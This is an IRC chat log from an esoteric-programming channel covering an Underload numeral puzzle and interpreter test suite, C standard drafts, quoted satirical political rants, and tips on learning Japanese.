19:20:09 <elliott> oerjan: let p === q mean "p is semantically equivalent to q when run", i.e. (()!) === (). construct p such that (p)(p)* === (), (p)(p)^ === (p), and ()(p)^ === ()
19:22:02 <fizzie> A new challenger appears!
19:22:58 <elliott> fizzie: verily
19:23:05 <elliott> hmm, how to test :...
19:23:19 <elliott> is there a simple way to test two smith numerals for equality? :p
19:24:11 <oerjan> rephrasing (pp) === (), (p)p === (p), ()p === ()
19:24:23 <elliott> oerjan: indeed
19:24:25 <oerjan> elliott: there's one in the look-and-say program
19:24:27 <olsner> elliott: since they are evidently complicated enough to have their own name, probably not :P
19:24:35 <elliott> olsner: it's just what i'm calling church numerals in underload >:D
19:24:39 <elliott> since they're not actually church numerals
19:25:06 <fizzie> You should call them "the satanic numerals" or something, to emphasize that last point.
19:25:15 <elliott> :D
19:25:18 <oerjan> i better look up my las scratch file
19:25:33 <elliott> oerjan: for equality? or for the PEE CHALLENGE wait no
19:25:42 <olsner> necronomical numerals?
19:25:48 <elliott> oerjan: don't bother if the former
19:26:00 <oerjan> for equality
19:26:03 <elliott> i can't use anything but ()~*^!
19:26:12 <elliott> hmm, i don't explicitly test !, I should do that
19:26:28 <oerjan> ok it uses a* of course
19:26:50 <elliott> oerjan: can't use it then :D, unless I test a before :...
19:30:20 <elliott> oerjan: btw ()p === () is a bit misleading
19:30:27 <elliott> as in, it can end up with (()!) on the stack instead of ()
19:30:33 <elliott> because they are semantically equivalent
19:30:46 <elliott> similarly, (p)p doesn't have to push (p) directly, just equivalent
19:30:49 <elliott> and (pp) for ()
19:30:56 <oerjan> well i figured that
19:31:15 <oerjan> since (pp) cannot possibly be equal to ()
19:31:26 <oerjan> er except for p =
19:31:38 <elliott> indeed :P
19:31:59 -!- Sgeo_ has quit (Read error: Connection reset by peer).
19:32:09 <oerjan> incidentally that _is_ a solution to your challenge >:D
19:32:28 <elliott> oerjan: uh hm
19:32:41 <elliott> oerjan: and p =/= null string
19:32:50 <oerjan> FFFF
19:32:54 <elliott> i would tell you why, but it'd spoil my hidden intention >:D
19:33:04 <elliott> (given p, (p) = smith numeral -1)
19:33:06 <fizzie> I suspect you are up to: no good.
19:33:10 <elliott> WHOOPS SPOILED IT
19:33:17 <elliott> fizzie: No good is what I am up to!
19:33:27 <oerjan> it shouldn't be equivalent to the null string either, i take
19:33:33 <elliott> oerjan: indeed :D
19:33:36 <elliott> because then (p) would just be 1
19:34:08 <elliott> oerjan: if it helps, (!())p can be whatever or even fail to terminate ;D
19:34:13 <elliott> (0^-1 = 1/0)
19:34:30 <elliott> actually let's ignore ()p
19:34:38 <elliott> since expecting ^-1 is probably overly-optimistic or something
19:34:45 <elliott> (pp) === (), (p)p === (p)
19:38:37 <elliott> hmm now how to test a...
19:39:00 <oerjan> the former is the same as pp === , no?
19:40:52 <elliott> oerjan: yes. oh, note that (pp)^ can fail if the rest of the stack is empty
19:41:04 <elliott> let's say (pp) === (:!)
19:41:36 <oerjan> yeah that's pretty essential
19:42:31 <oerjan> hm do we actually have anything fulfilling pp === without p ===
19:42:38 <elliott> oerjan: === :!
19:42:43 <elliott> or are you just wondering anyway?
19:43:03 <oerjan> um i was assuming non-empty stack here
19:43:09 <elliott> oerjan: well right
19:43:11 <elliott> i'm not sure
19:43:20 <elliott> oerjan: maybe if p goes like
19:43:29 <elliott> "is the TOS my special marker? if so, pop it, otherwise, push it"
19:43:30 <oerjan> oh of course
19:43:32 <oerjan> ~
19:43:40 <elliott> that requires _two_ elements on stack
19:43:42 <elliott> which isn't acceptable
19:43:46 <elliott> oerjan: ok let's refine it even further:
19:43:52 <oerjan> sheesh
19:43:57 <elliott> (smith numeral)pp === (smith numeral)
19:44:00 <oerjan> hm...
19:44:06 <oerjan> (~)*
19:44:12 <elliott> ooh
19:44:19 -!- Leonidas_ has joined.
19:44:32 <elliott> ^ul ((~)*))(~)*S
19:44:32 <fungot> ...bad insn!
19:44:38 <elliott> ^ul ((~)*)(~)*S
19:44:39 <fungot> (~)*~
19:44:50 <elliott> ok so is that identical to (p)
19:44:54 <elliott> no, it's not
19:45:04 <elliott> (that's the (p)p === (p) rule)
19:45:14 <elliott> oerjan: does your equality tester require :?
19:45:16 <elliott> if not, i can use it, it seems
19:45:29 <oerjan> erm
19:46:27 -!- Leonidas_ has changed nick to Leonidas.
19:46:44 -!- fungot has quit (Read error: Operation timed out).
19:47:15 <oerjan> yes it does
19:47:57 <oerjan> it doesn't use !, incidentally
19:48:08 <elliott> argh :D
19:48:09 -!- fizzie has quit (Read error: Operation timed out).
19:48:17 <elliott> just wondering how to test : sanely...
19:48:36 <oerjan> that's entirely accidental
19:48:46 <elliott> (in a way that lets me print (BAD: ...) if, for instance, : just does nothing)
19:49:06 <oerjan> well you probably need ! to actually use this function
19:49:07 <elliott> aha wait...
19:49:10 <elliott> I have an idea
19:49:14 <elliott> maybe
19:49:31 <oerjan> (BAD)(GOOD):S
19:49:33 -!- FireFly has joined.
19:49:41 <oerjan> er wait
19:49:46 <oerjan> (BAD)(GOOD):!S
19:50:20 <elliott> ah, thanks
19:50:26 <elliott> oerjan: rather,
19:50:29 -!- pikhq_ has quit (Ping timeout: 240 seconds).
19:50:37 <elliott> ((BAD: ...)S(:^):^)((GOOD: ...)S):!^
19:50:38 -!- pikhq has joined.
19:51:21 <oerjan> are you sure infinite looping is a good idea, what if it doesn't flush output
19:51:58 <elliott> oerjan: it ends with a newline
19:52:05 <elliott> and it is a good idea, because the rest of the tests will go haywire if I don't
19:52:08 <oerjan> ...i guess.
19:52:19 <elliott> hmm
19:52:19 <elliott> well
19:52:23 <elliott> I could execute an invalid instruction
19:52:28 <elliott> that'll probably go better
19:52:34 <oerjan> except it's somewhat unlikely (:^):^ will work if : doesn't
19:52:41 <elliott> well that's true :D
19:54:39 -!- fizzie has joined.
19:54:45 <elliott> UNDEF: If the following pair of brackets has double-quotes before
19:54:45 <elliott> both brackets, your implementation doesn't support the (never-implemented)
19:54:45 <elliott> quoting rules: "["]
19:55:41 <elliott> http://sprunge.us/DDJB
19:55:41 <elliott> tada
19:55:45 <elliott> burden.ul test suite
19:55:52 <elliott> oops
19:55:53 <elliott> has a todo left in there
19:56:07 <elliott> http://sprunge.us/fLWW
19:56:07 <elliott> there
19:56:19 -!- tswett has quit (Remote host closed the connection).
19:56:35 -!- tswett has joined.
19:56:47 <elliott> that tswett, always cycling to brag with his hostname
19:58:03 <elliott> well derlo passes :D
19:58:05 <elliott> as does relief
19:58:17 <elliott> who wants to feed it to fungot :D
19:59:12 -!- oerjan has quit (Remote host closed the connection).
20:00:18 <fizzie> I do have that standalone copy of the interp somewhere.
20:01:14 <elliott> fizzie: that would be cool :P
20:01:56 <elliott> hey look, oerjan is on reddit: "I got drunk one night, came back to my hotel and booked flights to the North pole.....the next day I was in Svalbard.....AmA"
20:02:28 -!- HackEgo has quit (Ping timeout: 272 seconds).
20:03:32 <elliott> fizzie: WE ARE EAGERLY AWAITING YOUR STANDARDS CHECKING
20:03:34 <elliott> also fungot is gone
20:03:59 <fizzie> It probably dropped doing my recent, well, dropping.
20:04:20 <fizzie> Also I need to remove newlines from your thing, my thing uses \n as end-of-program. :p
20:04:50 <elliott> fizzie: The output of that will be uh... interesting...
20:05:02 <elliott> TEMPTED TO DISQUALIFY YOU FOR THAT
20:05:04 -!- Gregor has quit (Ping timeout: 240 seconds).
20:05:24 -!- EgoBot has quit (Ping timeout: 260 seconds).
20:07:15 <fizzie> http://p.zem.fi/burden -- the "bad insn" at the end could be just something I managed to accidentally add when removing newlines.
20:07:46 <elliott> fizzie: "XNLX"?
20:07:50 <elliott> Oh, right.
20:07:56 <elliott> fizzie: Probably you newline-terminated the file.
20:07:57 <elliott> Like a silly.
20:08:12 <fizzie> Probably.
20:08:16 <elliott> fizzie: Anyway I refuse to accept your test results unless that cfunge was compiled with -DEXACT_BOUNDS.
20:08:25 <fizzie> Yes, it ends with SXNLX. :p
20:08:32 <elliott> Otherwise clearly your implementation of Funge-98 is non-conforming and the results are therefore not reliable.
20:08:48 <fizzie> I don't know how it was compiled; I didn't even know I had cfunge in path.
20:09:06 <fizzie> cfunge 0.9.0 [+con +trace +exact-bounds +ncurses hardened p:64 c:32]
20:09:14 <elliott> HMM.
20:09:29 <elliott> fizzie: I would trust your results if they came from CCBI or Shiro, two RESPECTABLE implementations.
20:09:46 <Deewiant> One of which isn't available anywhere
20:10:47 <elliott> Deewiant: EXCUSE ME, I would of COURSE be DELIGHTED to provide fizzie with the REQUISITE IMPLEMENTATION MATERIALS to complete his testing procedure.
20:10:51 <elliott> But CCBI is ALSO ACCEPTABLE OF COURSE.
20:11:14 -!- Gregor has joined.
20:11:39 <fizzie> http://p.zem.fi/burden-ccbi
20:11:40 -!- Gregor has changed nick to Guest99439.
20:11:58 <elliott> Oh, well, you know those D compilers, they're quite buggy and whatnot.
20:11:59 <Deewiant> I thought you didn't trust CCBI binaries.
20:12:03 <elliott> Okay, okay, fine, you pass.
20:12:05 <elliott> OH.
20:12:10 <elliott> Deewiant raises an IMPORTANT POINT.
20:12:20 <fizzie> Deewiant: Well, you know, for a good cause.
20:12:32 <elliott> Deewiant: That was your opportunity to steal all his IRC logs, dude.
20:12:33 <tswett> If I were smart, I wouldn't cycle to show off my hostname.
20:12:36 <elliott> You BLEW it.
20:12:50 <elliott> ...or _did_ you
20:12:57 <Deewiant> O_o
20:13:03 <tswett> I kidnapped a Stanford student to get it, and if someone asked about my hostname, I would have to say so, and then I would get convicted of kidnapping.
20:13:03 <fizzie> "Why is my network so slow all of a sudden?"
20:13:12 <elliott> Deewiant: What.
20:13:17 <Deewiant> o_O
20:15:59 <elliott> I'm surprised Deewiant hasn't copyrighted "GOOD:" and "UNDEF:".
20:16:23 <Deewiant> I'm not
20:16:30 <elliott> I am.
20:18:28 -!- elliott has set topic: http://i.imgur.com/u3t65.jpg | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
20:19:33 -!- azaq23 has joined.
20:21:05 -!- MigoMipo has joined.
20:21:24 -!- Guest99439 has changed nick to Gregor.
20:33:03 -!- Gregor has quit (Ping timeout: 252 seconds).
20:33:58 -!- augur has quit (Ping timeout: 240 seconds).
20:47:59 -!- BeholdMyGlory has joined.
20:48:17 -!- zzo38 has joined.
20:54:50 -!- fungot has joined.
20:54:56 <fizzie> Right, that too.
20:55:15 <zzo38> Right, what too?
20:55:32 -!- Guest21139 has joined.
20:55:34 <fizzie> The fungot, too. I had forgotten to bring it back.
20:55:35 <fungot> fizzie: this is the corresponding verb. not a tree anymore. it's 10am. :( i can pay my rent. good thing paper was originally yellow or it be it by now. :)
20:56:03 <fizzie> fungot: You can pay your rent? Well, it's about time! You're been mooching off us for ever.
20:56:03 <fungot> fizzie: i am your mother.") for online help, try /msg minion cliki? writing a cv in latex is not hard to do,
20:56:21 <fizzie> ...
20:56:31 <fizzie> A real bum-bot.
20:56:41 <zzo38> And also mismatched punctuation.
20:57:36 <fizzie> The Perl script version of his babbling does properly matching quotes and parentheses only, but I haven't implemented that feature into the Funge-98 version.
20:58:52 <fizzie> (Still, if he's writing a cv, maybe he's finally getting a job.)
20:59:43 <elliott> "good thing paper was originally yellow or it be it by now. :)"
20:59:52 <elliott> fizzie: I think fungot urinated on your stationary.
20:59:52 <fungot> elliott: ( lambda x x))
21:00:09 <fizzie> elliott: Very likely. He's worse than the cat that way.
21:00:43 <elliott> You so have to add Roomba control code to fungot.b98 now.
21:00:44 <fungot> elliott: don't you mean ( b 1) ( y f):: forall t. ( syntactic analysis is parsing.
21:00:55 <elliott> Move with a Markov chain!
21:01:33 <Phantom_Hoover> fizzie, don't you have a roomba?
21:01:56 <fizzie> Phantom_Hoover: Yes, we have one. I haven't really written anything for it, though.
21:01:59 -!- Sgeo has joined.
21:02:25 <Phantom_Hoover> fizzie, YOU KNOW WHAT YOU MUST DO
21:02:34 <Phantom_Hoover> KICK SGEO UNTIL HE GETS A TRANSFER
21:03:39 <zzo38> Just something useful in case you want to print the date/time with leading zero for month, day, hours, minutes, etc, with TeX: \def\lznum#1{\ifnum#1<10 0\fi\number#1}
21:04:06 <zzo38> It is very simple even to figure out by yourself if you know about TeX.
21:04:14 <fizzie> Since it has been a topic here earlier: the latest C1x draft -- http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1548.pdf -- now has the diff-marks in the margin given against the final C99 spec. (Now if they'd get the diff-markers colored and add some sort of "jump to next change" hyperlinks, maybe a regular person could actually read it to check all the C99/C1x differences.)
21:04:33 <Phantom_Hoover> Don't tell Quadrescence!
21:04:47 <zzo38> What are differences between C89/C99, C99/C1x, C89/C1x?
21:05:13 <zzo38> Is there a full list including the details?
21:05:31 <elliott> Yes, it's called a copy of diff and the two specifications.
21:05:37 <elliott> Sorry,t hree specifications.
21:05:47 <elliott> *Sorry, three
21:06:01 <elliott> 13:04:33 <Phantom_Hoover> Don't tell Quadrescence!
21:06:02 <elliott> wat
21:06:03 <zzo38> elliott: Did they just take a copy of the old specification and change it? If so, then it would work, but if they rewrote it then such things as that will not work.
21:06:15 <Deewiant> zzo38: http://home.datacomm.ch/t_wolf/tw/c/c9x_changes.html has a reasonable summary of C89->C99 changes
21:06:20 <Phantom_Hoover> elliott, y'know, Mr C89 is the only C which counts.
21:06:30 <zzo38> Also, if they changed some section numbers, it might also do some things wrong.
21:06:32 <elliott> zzo38: Probably they maintain it as a diff, by hand, manually.
21:06:35 <elliott> PROBABLY.
21:06:57 <fizzie> C1x is based on the C99 document; I don't know how much that is the case when it comes to C89/C99. The published PDFs are not so very nicely diffable, though.
21:07:15 <elliott> [[In what follows, I'll refer to C as it is defined by its original ISO standard (ISO/IEC 9899:1990, including technical corrigenda TC1 and TC2) as C89, the language as defined by C89 plus the normative addendum 1 is referred to as C94.]]
21:07:20 <elliott> Regretting not buying C94 at this point.
21:07:20 <zzo38> Do they have published .txt files?
21:07:59 <fizzie> I don't think so, at least not officially.
21:08:36 <zzo38> elliott: There is no DNS on my computer for home.datacomm.ch
21:08:36 <zzo38> So, it will not load.
21:08:46 <fizzie> But as was mentioned, at least the C1x draft now has margin-markers like | for changed/new text and * for deleted text; perhaps some sort of a THING could extract only those from it.
21:08:47 <elliott> zzo38: Err, you add DNS entries manually now?
21:08:50 <elliott> And Deewiant is the one who linked that.
21:09:05 <Ilari> Trying to launch space shuttle. The range seems to have some trouble.
21:09:20 <Ilari> (Some computer trouble)
21:10:49 <fizzie> A dude at comp.lang.c also recently made a hyperlinked version of the C89-standard draft that has been floating everywhere around the internets with the name "ansi.c.txt", at http://www.bsb.me.uk/ansi-c/ansi-c -- but since it's a draft, it's not exactly identical to the real C89.
21:11:25 <elliott> FSVO .txt
21:11:49 -!- augur has joined.
21:12:49 -!- zzo38 has quit (Ping timeout: 246 seconds).
21:15:27 <fizzie> The C1x draft itself has a summary of "major changes" for both C1x and C99.
21:16:22 <Ilari> Two minutes remaining to fix that problem.
21:17:28 <fizzie> I see they've added a _Noreturn function-specifier (syntactically speaking same sort of thing as "inline").
21:17:50 <Ilari> They fixed it. Counting down from 5 minutes.
21:18:19 <fizzie> Probably just rebooted it. :p
21:18:37 <fizzie> Then were all "Oh, now it worked. Weird."
21:18:57 -!- zzo38 has joined.
21:19:09 <zzo38> Something was broken... Maybe it is fixed now I don't know
21:20:07 <fizzie> Ilari: Is this the Discovery last flight thing?
21:20:17 <Ilari> Yes.
21:24:25 -!- Guest21139 has changed nick to release.
21:24:43 <release> lawl
21:24:49 <release> /nick release != /nickserv release
21:25:03 -!- release has changed nick to Gregor.
21:26:12 <fizzie> Release early, release often.
21:27:52 -!- augur has quit (Read error: Connection reset by peer).
21:28:03 -!- augur has joined.
21:28:51 -!- Sgeo has quit (Ping timeout: 240 seconds).
21:32:27 -!- Mathnerd314 has joined.
21:33:19 <elliott> "Instead of focusing on why an increasing number of people abhor the Batman's odious, xenophobic animadversions and are looking for alternatives, like the truth, I would like to remind people that the Batman's apparatchiks can be stereotyped as evil tools of prepackaged political ideology and lecherous, grotty stumblebums to boot." --Muammar al-Gaddafi, professional nutcase
21:33:31 -!- elliott has set topic: The Batman's Apparatchiks | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:34:19 <fizzie> Is that some sort of an expression, like "the bee's knees"?
21:34:43 <elliott> I sure hope so.
21:34:46 <elliott> More crazy:
21:34:47 <elliott> http://www.reddit.com/r/worldnews/comments/frsee/90_of_libya_in_rebel_hands_qaddafi_is_left_only/c1i6a10
21:34:47 <Phantom_Hoover> elliott, nutcase, or BEST TROLL EVER?
21:35:00 <elliott> [[Even the Batman's slaves don't care much for its political objectives; they simply wish to associate with other tendentious desperados and capitalize on our needs and vulnerabilities. Although the Batman won't admit it, it's a financial predator who preys on the elderly, the gullible, and the vulnerable. The Batman seeks their assets to support its own lavish existence. Keep that in mind while I state the following: Every so often, it tries ext
21:35:01 <elliott> irpating the very things that I cherish. Whenever it gets caught doing so it raises a terrific hullabaloo calculated to practice human sacrifice on a grand scale in some sort of otiose death cult.]]
21:35:01 <elliott> The Batman seeks their assets to support its own lavish existence.
21:35:15 <Phantom_Hoover> "Very easy & funny way to prove Pythagorean Theorem, i.e., a^2 + b^2 =c^2" http://themetapicture.com/media/why-couldnt-i-have-been-shown-this-in-maths-class.gif
21:35:20 <Phantom_Hoover> HILARIOUS
21:36:02 <Phantom_Hoover> "Are all functions f:N->R continuous?"
21:36:02 <elliott> "If one accepts the framework I've laid out here, it follows that if we don't raise several issues about the Batman's vile wheelings and dealings that are frequently missing from the drivel that masquerades for discourse on this topic then the Batman will intensify race hatred. This message has been brought to you by the Department of Blinding Obviousness."
21:36:05 <elliott> Phantom_Hoover: BEST TROLL EVER.
21:36:06 <Phantom_Hoover> No. No they aren't.
21:36:15 <elliott> Yes they are, noncontinuous functions don't exist.
21:36:21 <elliott> </constructivist>
21:36:33 <Phantom_Hoover> -_-
21:37:14 <elliott> "I find it necessary, if I am to meet my reader on something like a common ground of understanding, to point out that the Batman's general prostration before prætorianism confirms that in a the Batman-led society, people who reach out to the poor, the marginalized, and those unfortunate enough to have been labeled as inarticulate by the Batman's propaganda machine will be suppressed, vilified, hated, imprisoned, exiled, and killed. But you knew
21:37:14 <elliott> that already. So let me add that the spectrum of views between Jacobinism and materialism is not a line but a circle at which neo-malicious, salacious undesirables and unctuous hedonists meet. To properly place the Batman somewhere in that spectrum one needs to realize that the Batman maintains that corporatism is a noble goal."
21:37:17 <elliott> WHAT COMIC BOOKS IS THIS GUY READING
21:37:53 <elliott> I think he's saying that America is the Batman.
21:38:05 <Phantom_Hoover> Obviously.
21:39:01 <elliott> "And what I think is this: The Batman's terrorist organization (motto: "Replicate the most morally repugnant structures of contemporary life") is as squalid as squalid can be."
21:39:05 <elliott> I... don't recall that motto.
21:39:27 <Zwaarddijk> when did Mencius Moldbug become a big thing?
21:39:35 <Zwaarddijk> (I take it that's Moldbug, no?)
21:39:35 <elliott> Zwaarddijk: He's a big thing?
21:39:36 <Phantom_Hoover> You've not been watching your Batman, evidently.
21:39:43 <elliott> Zwaarddijk: Ha, nope.
21:39:46 <elliott> Zwaarddijk: Gaddafi.
21:39:50 <Zwaarddijk> ok.
21:39:50 <elliott> Zwaarddijk: Seriously.
21:39:53 <Zwaarddijk> right.
21:39:56 <Zwaarddijk> that's even worse.
21:39:57 <elliott> Hmm, maybe Moldbug _is_ Gaddafi.
21:40:05 <elliott> It's... it's a really tempting proposition.
21:40:08 <Zwaarddijk> because it looks like Moldbug's weird humor
21:40:28 <elliott> Moldbug is a strange guy; I think we need to keep him around just to have a baseline to measure strangeness by.
21:40:31 <elliott> Kind of like the kilogram.
21:40:32 <fizzie> elliott: Batman is all about not using guns ever, and replicating repugnant structures.
21:40:41 <Zwaarddijk> Moldbug isn't that excessively out there
21:40:42 <elliott> fizzie: And corporatism.
21:40:57 <Zwaarddijk> he seems mostly just to be some kind of guy that doesn't take things too seriously
21:41:04 <Zwaarddijk> and is willing to admit that things probably are wrong
21:41:14 <fizzie> Batman: "Better put 5 cents in the meter."
21:41:15 <fizzie> Robin: "No policeman's going to give the Batmobile a ticket."
21:41:15 <fizzie> Batman: "This money goes to building better roads. We all must do our part."
21:41:22 <fizzie> -- see, it must be that sort of thing.
21:41:47 <elliott> Zwaarddijk: You can only be so sane when you're an anti-democratic royalist and simultaneously support Austrian economics.
21:41:57 <Zwaarddijk> true, true
21:42:05 <elliott> Oh look, he's made a post that seems to mention Gaddafi.
21:42:22 <elliott> I'd say it's "about" that, but I don't think there's ever enough material on any subject to fill an entire UR post.
21:42:23 <Zwaarddijk> but ... anyways, he's a thing in that I've run into at least two persons today even aware of him in entirely different online communities
21:42:32 <fizzie> elliott: Ooh, also:
21:42:32 <fizzie> Dick: "Gosh, Economics is sure a dull subject."
21:42:33 <fizzie> Bruce: "Oh, you must be jesting, Dick. Economics dull? The glamour, the romance of commerce... Hmm. It's the very lifeblood of our country's society."
21:42:38 <Zwaarddijk> if you had reacted with "Moldbug - who?" he'd be less of a thing
21:42:56 <elliott> Zwaarddijk: No, no, I am definitely knowing of things that are not things at all.
21:43:01 <fizzie> (I ran across some sort of "Batman lecturing Robin" quote page when trying to find the most Batmanish thing.)
21:43:11 -!- yorick has quit (Remote host closed the connection).
21:43:14 <elliott> Zwaarddijk: Actually I think my first exposure to him may have in fact been via Stanislav.
21:43:23 <Zwaarddijk> see, he is a thing!
21:43:30 <elliott> (Datskovskiy, that is; relevant overblown rants at http://www.loper-os.org/.)
21:43:31 <Zwaarddijk> but uh, I dunno, the text quoted above somehow
21:43:33 <Zwaarddijk> to me at least
21:43:40 <Zwaarddijk> appeared as sort of moldbug-like?
21:43:41 <Phantom_Hoover> Moldbug — who?
21:43:52 <elliott> Phantom_Hoover: http://unqualified-reservations.blogspot.com/
21:43:54 <elliott> Moldbug.
21:48:13 <Mathnerd314> hmm... am I supposed to be confused?
21:48:28 <Phantom_Hoover> Mathnerd314, yes. Yes you are.
21:48:30 <elliott> That's just the mo(u)ld on the bug.
21:48:41 <elliott> The haze settles after a while.
21:50:05 <Mathnerd314> hmm... should I read it now, when I'm sick and my mental defenses against whatever crap he's saying are lower?
21:50:23 <elliott> He's not mad, just strange. Okay, he's mad. But he's not mad mad.
21:50:26 <elliott> Just strange. And mad.
21:51:03 <zzo38> I want to make a Magic: the Gathering card like: "Make X copies of target spell controlled by opponent. Targets and controller of copies are the same as the original."
21:51:21 -!- eurasienne has joined.
21:52:27 <elliott> eurasienne: Do I pronounce that "eurasian"?
21:53:12 <Phantom_Hoover> No, you pronounce it like "eurasian" but with an "eh" rather than an "ah"?
21:54:27 <eurasienne> you re asian))
21:55:46 <elliott> this channel is about esoteric programming languages. hello.
21:55:52 -!- pikhq_ has joined.
21:55:55 -!- pikhq has quit (Ping timeout: 240 seconds).
21:56:36 <elliott> "Peace in Libya is quite the remote prospect, but at least we'll get some good television out of it. It's a pity that the dramatic events so far have been so poorly recorded." --Moldbug
21:56:51 <quintopia> zzo38: "Hall of Mirrors"
21:57:13 <zzo38> quintopia: Hall of Mirrors?
21:57:36 <quintopia> a suggested name for your card
21:57:51 <zzo38> OK
22:02:48 <pikhq_> zzo38: I'd like to see someone copy that spell. :)
22:03:16 <elliott> pikhq_: How did you go about learning Japanese, anyway?
22:03:41 <pikhq_> elliott: Formal classes for 4 years, at which point I had about as much competence as a 5 year old (if that).
22:03:50 <elliott> Heh
22:03:54 <elliott> Sounds efficient
22:04:21 <pikhq_> elliott: Then, I learned the kanji from "Remembering the Kanji", and read a lot.
22:04:59 <elliott> Formal classes sound like such a pain. :(
22:05:04 <pikhq_> elliott: Which, well, works a heck of a lot better.
22:05:07 <elliott> (Yeah, yeah, I know.)
22:05:07 <Phantom_Hoover> pikhq_, are formal classes just "phrase books but in class"?
22:05:13 <elliott> (Not the voice of someone with a lot of dedication.)
22:05:29 <elliott> pikhq_: I doubt learning kanji and then just plunging into books would work ...
22:05:54 <pikhq_> elliott: A friend of mine started learning Japanese at about the time I got back into studying it...
22:05:56 <elliott> Remembering the Kanji looks like good shit, though.
22:06:17 <pikhq_> elliott: He learned the kanji, *spent a week on grammar*, then plunged into manga. :P
22:07:05 <elliott> pikhq_: Kanji first sounds like something that could work for me and also might not ... on the one hand, it wouldn't require much effort or commitment, just basically-mindless memorisation... but on the other hand, it'd feel like a huge waste of time if I couldn't even express basic sentences for a long time.
22:07:23 <pikhq_> elliott: BTW, might I recommend http://www.alljapaneseallthetime.com/ ? Khatzumoto is awesome, though slightly insane. :P
22:07:39 <elliott> It's related to Japan. Insanity is a given.
22:08:00 * Phantom_Hoover → sleep
22:08:03 <pikhq_> elliott: I can guarantee that after a couple days of RTK, you'll be better-off than your typical first-year Japanese student.
22:08:16 -!- Phantom_Hoover has quit (Quit: Leaving).
22:08:23 * elliott reads http://www.enemieslist.net/japanese/ again for inspiration
22:08:35 <elliott> "Iraqi war prisoners are often forced to major in Japanese. The term "Holocaust" comes from the Latin roots "Holi" and "Causm", meaning "to major in Japanese".."
22:08:38 <pikhq_> (formal classes work more poorly for Japanese than most other languages, simply because kanji present a serious barrier-to-entry.)
22:08:40 <elliott> *remove extra .
22:09:10 <pikhq_> (not to say they work any good, anyways)
22:09:11 <elliott> "Japanese vocabulary is determined by throwing tiny pieces of sushi at a dart board with several random numbers attatched to it. The numbers are then fed into a machine. The machine is then destroyed."
22:09:50 <elliott> "Katakana are used only to spell out foreign words in a thick, crippling japanese accent, so that you'll have no idea what you're saying even though it's in English. However, if you remember one simple rule for Katakana, you'll find reading Japanese much easier: Whenever something is written in Katakana, it's an English word! (note: Katakana is also used for non-english foreign words. And sound effects, and Japanese words)."
22:10:05 <pikhq_> Oh, and after RTK the hiragana and katakana will probably come really, really easily.
22:10:27 <elliott> "Kanji are letters that were stolen from China. Every time the Japanese invaded China (which was very often) they'd just take a few more letters, so now they have an estimated 400 gazillion of them. Kanji each consist of several "strokes", which must be written in a specific order or Japanese people will laugh at you. Each character conveys a specific meaning, like "horse" (note that the character for horse could also mean "car". Or "police offic
22:10:29 <elliott> er". Or "Didacticism")."
22:10:30 <pikhq_> What with both kana systems being highly-mutated kanji used for phonetic value only.
22:10:31 <elliott> I forgot how amusing this article is.
22:10:46 <elliott> "Kanji can also be combined to form new words. For example, if you combine the Kanji for "small", and "woman", you get the word "carbeurator"."
22:11:18 <elliott> pikhq_: The one thing about Japanese that's putting me off learning a bit is the retarded politeness stuff...
22:11:19 <pikhq_> 少女 ← ?
22:12:08 <elliott> pikhq_: Although I suppose I could just pretend to be from Hokkaido</JOKE STOLEN FROM YOU>
22:12:12 <elliott> (Was it Hokkaido?)
22:12:31 <pikhq_> elliott: If it makes you feel better, the distinction between plain and polite form is entirely regular and fairly easy, and the distinction between polite form and formal forms *doesn't come up much*.
22:12:49 <pikhq_> Not to mention that native speakers fuck it up all the time.
22:13:13 <elliott> pikhq_: It should be mentioned at this point that I forget that the word "please" exists on a regular basis.
22:13:14 <pikhq_> (it's, a dying feature of Japanese grammar, near as I can tell.)
22:14:27 <elliott> pikhq_: OTOH Japanese sounds easier than Finnish which is a major plus. (HELLO tswett)
22:14:42 <elliott> <tswett> Sorry, I forgot how to say "Hello" in Finnish. I think it's 25 letters long.
22:14:57 <pikhq_> You'll probably appreciate the regularity.
22:15:34 <elliott> pikhq_: I, er, kind of plan to speak in my own personal polysynthetic dialect.
22:16:23 <elliott> "The Japanese have what could be called an "interesting" grammatical structure, but could also be called "confusing", "random", "bogus" or "evil". To truly understand this, let's examine the differences between Japanese and English grammar.
22:16:24 <elliott> English Sentence:
22:16:24 <elliott> Jane went to the school.
22:16:24 <elliott> Same Sentence In Japanese:
22:16:24 <elliott> School Jane To Went Monkey Apple Carbeurator."
22:16:32 <elliott> LOOKS LIKE FORTH TO ME
22:16:54 <elliott> "What's more, the Japanese also do not have any words for "me", "them", "him, or "her" that anyone could use without being incredibly insulting (the Japanese word for "you", for example, when written in kanji, translates to "I hope a monkey scratches your face off"). Because of this, the sentence "He just killed her!" and "I just killed her!" sound exactly the same, meaning that most people in Japan have no idea what is going on around them at an
22:16:54 <elliott> y given moment. You are supposed to figure these things out from the "context", which is a German word meaning "you're screwed"."
22:17:06 <elliott> pikhq_: Please tell me that "X did it" is a common Japanese defence in court.
22:17:17 <elliott> "By X do you mean X, or X?" "Definitely X."
22:17:35 <pikhq_> ジェインが学校へ行った。(Jane [subj.] school [to] go[past]) There, actually correct.
22:18:01 <elliott> What's with the brackets around [to]?
22:18:04 <elliott> Implicit?
22:18:31 <pikhq_> It's a grammatical particle, and I don't feel comfortable not leaving it in brackets.
22:18:52 <elliott> pikhq_: Should I avoid trying to use an IME to "start" with?
22:19:14 <elliott> I was considering adding a Japanese keyboard layout right now as a sort of reminder-motivator, but then I realised that I'd have to type in semi-romaji or whatever.
22:19:23 <elliott> Which might not gel so well with the learning kanji thing.
22:19:51 <pikhq_> elliott: Most Japanese people use an IME and type in rōmaji.
22:19:59 <elliott> pikhq_: Yes, I know.
22:20:08 <zzo38> In some IME you can switch between romaji method or kana method.
22:20:18 <elliott> pikhq_: But does that Remembering the Kanji thing have the romaji as part of the educationamationalearnin'?
22:20:19 <pikhq_> Yeah, but who the fuck uses the kana layout?
22:20:28 <elliott> Or is it just learning the translations? Well, I guess that would be stupid.
22:20:30 <pikhq_> elliott: Remembering the Kanji doesn't have any of the readings.
22:20:41 <elliott> pikhq_: ...meaning that an IME is going to be a bit useless, no?
22:20:46 <pikhq_> Yes.
22:21:00 <elliott> pikhq_: I won't bother setting one up, then.
22:21:34 <pikhq_> It's more about putting you into a situation analogous to a Mandarin speaker learning Japanese, then to have you Finish Learning All There Is To Know About Kanji™.
22:21:54 <elliott> pikhq_: I DO NOT LIKE THESE TRADEMARK CAMELCASINGS
